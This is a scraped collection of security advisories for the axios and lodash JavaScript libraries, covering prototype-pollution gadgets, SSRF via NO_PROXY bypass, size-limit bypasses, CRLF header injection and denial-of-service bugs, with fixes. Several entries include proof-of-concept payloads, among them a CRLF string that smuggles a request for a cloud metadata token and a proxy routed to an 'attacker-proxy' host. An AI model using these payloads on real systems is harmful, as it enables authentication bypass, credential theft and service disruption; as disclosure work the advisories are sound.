Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
``javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← in traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
`
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
`javascript
Object.prototype.validateStatus = () => true;
`
2. The Gadget Trigger (Safe Code)
`javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
`
3. The Execution
`javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
`
4. The Impact
`
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
`
Verified PoC Output
`
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
`
Impact Analysis
Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
`javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
`
Resources
CWE-1321: Prototype Pollution
CWE-287: Improper Authentication
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
MDN: in` operator
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: unbounded recursion in toFormData causes DoS via deeply nested request data
Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details
lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC
``js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
`
Server-side reachability example:
`js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
`
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Axios: no_proxy bypass via IP alias allows SSRF
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ``
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
Axios: HTTP adapter streamed responses bypass maxContentLength
Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details
In lib/adapters/http.js:
786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
adapter: 'http'
responseType: 'stream'
maxContentLength: 1024
3. Read the returned stream fully.
Observed:
Success; full 2097152 bytes readable.
Control check:
Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact
Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
Axios: Header Injection via Prototype Pollution
Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned heade
Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0
Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js:
556-564: maxBodyLength check applies only to buffered/non-stream data.
681-682: maxRedirects === 0 selects native http/https transport.
694-699: options.maxBodyLength is set, but native transport does not enforce it.
925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that counts uploaded bytes and returns {received}.
2. Send a 2 MiB Readable stream with:
adapter: 'http'
maxBodyLength: 1024
maxRedirects: 0
Observed:
Request succeeds; server reports received: 2097152.
Control checks:
Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.
### Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.
Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.
Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)
Usage of \"Helper\" Vulnerabilities
This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
``javascript
Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
`
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
await axios.get('https://analytics.internal/pings');
`
3. The Execution
Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.
Resulting HTTP traffic:
`http
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET /ignore HTTP/1.1
...
`
4. The Impact
In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.
Impact Analysis
Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
`javascript
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
if (/[\r\n]/.test(val)) {
throw new Error('Security: Header value contains invalid characters');
}
// ... proceed to set header
});
``
References
OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`
Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }
Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF
Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
---
PoC
``js
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = http://127.0.0.1:${proxyPort};
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
`
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
---
Impact
Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
Force Axios to send local traffic through an attacker-controlled proxy.
Bypass SSRF mitigations relying on NO\_PROXY rules.
Potentially exfiltrate sensitive responses from internal services via the proxy.
---
Affected Versions
Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.
---
Remediation
Axios should normalize hostnames before evaluating NO_PROXY`, including:
Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
##
Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions
Impact
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.
The issue permits deletion of properties but does not allow overwriting their original behavior.
Patches
This issue is patched on 4.17.23.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
``js
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
``